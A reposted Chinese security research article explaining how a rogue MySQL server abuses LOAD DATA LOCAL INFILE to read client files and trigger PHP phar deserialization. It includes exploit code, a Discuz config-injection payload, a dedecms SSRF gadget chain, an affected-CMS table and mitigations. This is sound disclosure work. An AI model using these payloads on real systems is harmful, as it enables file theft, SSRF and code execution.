作者:LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室
原文地址: https://paper.seebug.org/1112/
英文版本: https://paper.seebug.org/1113/
这应该是一个很早以前就爆出来的漏洞,而我见到的时候是在TCTF2018 final线下赛的比赛中,是被 Dragon Sector 和 Cykor 用来非预期h5x0r's club这题的一个技巧。
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
在后来的研究中,和@Dawu的讨论中顿时觉得这应该是一个很有趣的trick,在逐渐追溯这个漏洞的过去的过程中,我渐渐发现这个问题作为mysql的一份feature存在了很多年,从13年就有人分享这个问题。
在围绕这个漏洞的挖掘过程中,我们不断地发现新的利用方式,所以将其中大部分的发现都总结并准备了议题在CSS上分享,下面让我们来一步步分析。
load data infile是一个很特别的语法,熟悉注入或者经常打CTF的朋友可能会对这个语法比较熟悉,在CTF中,我们经常能遇到没办法load_file读取文件的情况,这时候唯一有可能读到文件的就是load data infile,一般我们常用的语句是这样的:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
mysql server会读取服务端的/etc/passwd然后将数据按照
'\n'
分割插入表中,但现在这个语句同样要求你有FILE权限,以及非local加载的语句也受到
secure_file_priv
的限制
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
如果我们修改一下语句,加入一个关键字local。
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; Query OK, 11 rows affected, 11 warnings (0.01 sec) Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local之后,这个语句就成了,读取客户端的文件发送到服务端,上面那个语句执行结果如下
很显然,这个语句是不安全的,在mysql的文档里也充分说明了这一点
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
在mysql文档中的说到, 服务端可以要求客户端读取有可读权限的任何文件。
mysql认为 客户端不应该连接到不可信的服务端。
我们今天的这个问题,就是围绕这个基础展开的。
在思考明白了前面的问题之后,核心问题就成了,我们怎么构造一个恶意的mysql服务端。
在搞清楚这个问题之前,我们需要研究一下mysql正常执行链接和查询的数据包结构。
1、greeting包,服务端返回了banner,其中包含mysql的版本
2、客户端登录请求
3、然后是初始化查询,这里因为是phpmyadmin所以初始化查询比较多
4、load file local
由于我的环境在windows下,所以这里读取为
C:/Windows/win.ini
,语句如下
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
首先是客户端发送查询
然后服务端返回了需要的路径
然后客户端直接把内容发送到了服务端
看起来流程非常清楚,而且客户端读取文件的路径并不是从客户端指定的,而是发送到服务端,服务端制定的。
原本的查询流程为
客户端:我要把win.ini插入test表中 服务端:我要你的win.ini内容 客户端:win.ini的内容如下....
假设服务端由我们控制,把一个正常的流程篡改成如下
客户端:我要test表中的数据 服务端:我要你的win.ini内容 客户端:win.ini的内容如下???
上面的第三句究竟会不会执行呢?
让我们回到 mysql的文档中,文档中有这么一句话:
服务端可以在任何查询语句后回复文件传输请求,也就是说我们的想法是成立的
在深入研究漏洞的过程中,不难发现这个漏洞是否成立在于Mysql client端的配置问题,而经过一番研究,我发现在mysql登录验证的过程中,会发送客户端的配置。
在greeting包之后,客户端就会链接并试图登录,同时数据包中就有关于是否允许使用load data local的配置,可以从这里直白的看出来客户端是否存在这个问题(这里返回的客户端配置不一定是准确的,后面会提到这个问题)。
在想明白原理之后,构建恶意服务端就变得不那么难了,流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包 3.回复一个file transfer包
这里主要是构造包格式的问题,可以跟着原文以及各种文档完成上述的几次查询.
值得注意的是,原作者给出的poc并没有适配所有的情况,部分mysql客户端会在登陆成功之后发送ping包,如果没有回复就会断开连接。也有部分mysql client端对greeting包有较强的校验,建议直接抓包按照真实包内容来构造。
原作者给出的poc
https://github.com/Gifts/Rogue-MySql-Server
这里用了一台腾讯云做服务端,客户端使用phpmyadmin连接
我们成功读取了文件。
在这个漏洞到底有什么影响的时候,我们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。
在深入挖掘这个漏洞的过程中,第一时间想到的利用方式就是mysql探针,但可惜的是,在测试了市面上的大部分探针后发现大部分的探针连接之后只接受了greeting包就断开连接了,没有任何查询,尽职尽责。
国内
国际云服务商
之前的一篇文章中提到过,在Excel中一般有这样一个功能,从数据库中同步数据到表格内,这样一来就可以通过上述方式读取文件。
受到这个思路的启发,我们想到可以找online的excel的这个功能,这样就可以实现任意文件读取了。
- Advanced CFO Solutions MySQL Query failed - SeekWell failed - Skyvia Query Gallery failed - database Borwser failed - Kloudio pwned
抛开我们前面提的一些很特殊的场景下,我们也要讨论一些这个漏洞在通用场景下的利用攻击链。
既然是围绕任意文件读取来讨论,那么最能直接想到的一定是有关配置文件的泄露所导致的漏洞了。
在Discuz x3.4的配置中存在这样两个文件
config/config_ucenter.php config/config_global.php
在dz的后台,有一个ucenter的设置功能,这个功能中提供了ucenter的数据库服务器配置功能,通过配置数据库链接恶意服务器,可以实现任意文件读取获取配置信息。
配置ucenter的访问地址。
原地址: http://localhost:8086/upload/uc_server修改为: http://localhost:8086/upload/uc_server\');phpinfo();//
当我们获得了authkey之后,我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及
UC_KEY
来访问即可生效
2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文 https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在该议题中提到,在PHP中存在一个叫做
Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了
phar://
这个stream wrapper。
在我们知道创宇404实验室安全研究员seaii曾经的研究( https://paper.seebug.org/680/)中表示,所有的文件函数都支持stream wrapper。
深入到函数中,我们可以发现,可以支持steam wrapper的原因是调用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
从这里,我们再回到mysql的load file local语句中,在mysqli中,mysql的读文件是通过php的函数实现的
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52 if (PG(open_basedir)) { if (php_check_open_basedir_ex(filename, 0) == -1) { strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file"); info->error_no = CR_UNKNOWN_ERROR; DBG_RETURN(1); } } info->filename = filename; info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);
也同样调用了
php_stream_open_wrapper_ex
函数,也就是说,我们同样可以通过读取phar文件来触发反序列化。
首先需要一个生成一个phar
pphar.php<?phpclass A { public $s = ''; public function __wakeup () { echo "pwned!!"; }}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new A();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>
使用该文件生成一个phar.phar
然后我们模拟一次查询
test.php<?phpclass A { public $s = ''; public function __wakeup () { echo "pwned!!"; }}$m = mysqli_init();mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);$p = mysqli_query($m, 'select 1;');// file_get_contents('phar://./phar.phar');
图中我们只做了select 1查询,但我们伪造的evil mysql server中驱使mysql client去做
load file local
查询,读取了本地的
phar://./phar.phar
成功触发反序列化
当一个反序列化漏洞出现的时候,我们就需要从源代码中去寻找合适的pop链,建立在pop链的利用基础上,我们可以进一步的扩大反序列化漏洞的危害。
php序列化中常见的魔术方法有以下 - 当对象被创建的时候调用: construct - 当对象被销毁的时候调用:destruct - 当对象被当作一个字符串使用时候调用: toString - 序列化对象之前就调用此方法(其返回需要是一个数组):sleep - 反序列化恢复对象之前就调用此方法: wakeup - 当调用对象中不存在的方法会自动调用此方法:call
配合与之相应的pop链,我们就可以把反序列化转化为RCE。
dedecms 后台,模块管理,安装UCenter模块。开始配置
首先需要找一个确定的UCenter服务端,可以通过找一个dz的站来做服务端。
然后就会触发任意文件读取,当然,如果读取文件为phar,则会触发反序列化。
我们需要先生成相应的phar
<?phpclass Control{ var $tpl; // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); public $dsql; function __construct(){ $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa')); } function __destruct() { unset($this->tpl); $this->dsql->Close(TRUE); }}@unlink("dedecms.phar");$phar = new Phar("dedecms.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头$o = new Control();$phar->setMetadata($o); //将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>
然后我们可以直接通过前台上传头像来传文件,或者直接后台也有文件上传接口,然后将rogue mysql server来读取这个文件
phar://./dedecms.phar/test.txt
监听5555可以收到
ssrf进一步可以攻击redis等拓展攻击面,就不多说了。
CMS名 | 影响版本 | 是否存在mysql任意文件读取 | 是否有可控的MySQL服务器设置 | 是否有可控的反序列化 | 是否可上传phar | 补丁 |
---|---|---|---|---|---|---|
phpmyadmin | < 4.8.5 | 是 | 是 | 是 | 是 | 补丁 |
Dz | 未修复 | 是 | 是 | 否 | None | None |
drupal | None | 否(使用PDO) | 否(安装) | 是 | 是 | None |
dedecms | None | 是 | 是(ucenter) | 是(ssrf) | 是 | None |
ecshop | None | 是 | 是 | 否 | 是 | None |
禅道 | None | 否(PDO) | 否 | None | None | None |
phpcms | None | 是 | 是 | 是(ssrf) | 是 | None |
帝国cms | None | 是 | 是 | 否 | None | None |
phpwind | None | 否(PDO) | 是 | None | None | None |
mediawiki | None | 是 | 否(后台没有修改mysql配置的方法) | 是 | 是 | None |
Z-Blog | None | 是 | 否(后台没有修改mysql配置的方法) | 是 | 是 | None |
对于大多数mysql的客户端来说,load file local是一个无用的语句,他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说,可以直接关闭这个功能,并不会影响到正常的使用。
具体的关闭方式见文档 - https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
对于不同服务端来说,这个配置都有不同的关法,对于JDBC来说,这个配置叫做
allowLoadLocalInfile
在php的mysqli和mysql两种链接方式中,底层代码直接决定了这个配置。
这个配置是
PHP_INI_SYSTEM
,在php的文档中,这个配置意味着
Entry can be set in php.ini or httpd.conf
。
所以只有在php.ini中修改
mysqli.allow_local_infile = Off
就可以修复了。
在php7.3.4的更新中,mysqli中这个配置也被默认修改为关闭
https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5
可惜在不再更新的旧版本mysql5.6中,无论是mysql还是mysqli默认都为开启状态。
现在的代码中也可以通过
mysqli_option
,在链接前配置这个选项。
http://php.net/manual/zh/mysqli.options.php
比较有趣的是,通过这种方式修复,虽然禁用了
allow_local_infile
,但是如果使用wireshark抓包却发现
allow_local_infile
仍是启动的(但是无效)。
在旧版本的phpmyadmin中,先执行了
mysqli_real_connect
,然后设置
mysql_option
,这样一来
allow_local_infile
实际上被禁用了,但是在发起链接请求时中
allow_local_infile
还没有被禁用。
实际上是因为
mysqli_real_connect
在执行的时候,会初始化
allow_local_infile
。在php代码底层
mysqli_real_connect
实际是执行了
mysqli_common_connect
。而在
mysqli_common_connect
的代码中,设置了一次
allow_local_infile
。
https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251
如果在
mysqli_real_connect
之前设置
mysql_option
,其
allow_local_infile
的配置会被覆盖重写,其修改就会无效。
phpmyadmin在1月22日也正是通过交换两个函数的相对位置来修复了该漏洞。 https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f
这是一个针对mysql feature的攻击模式,思路非常有趣,就目前而言在mysql层面没法修复,只有在客户端关闭了这个配置才能避免印象。虽然作为攻击面并不是很广泛,但可能针对一些特殊场景的时候,可以特别有效的将一个正常的功能转化为任意文件读取,在拓展攻击面上非常的有效。
详细的攻击场景这里就不做假设了,危害还是比较大的。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。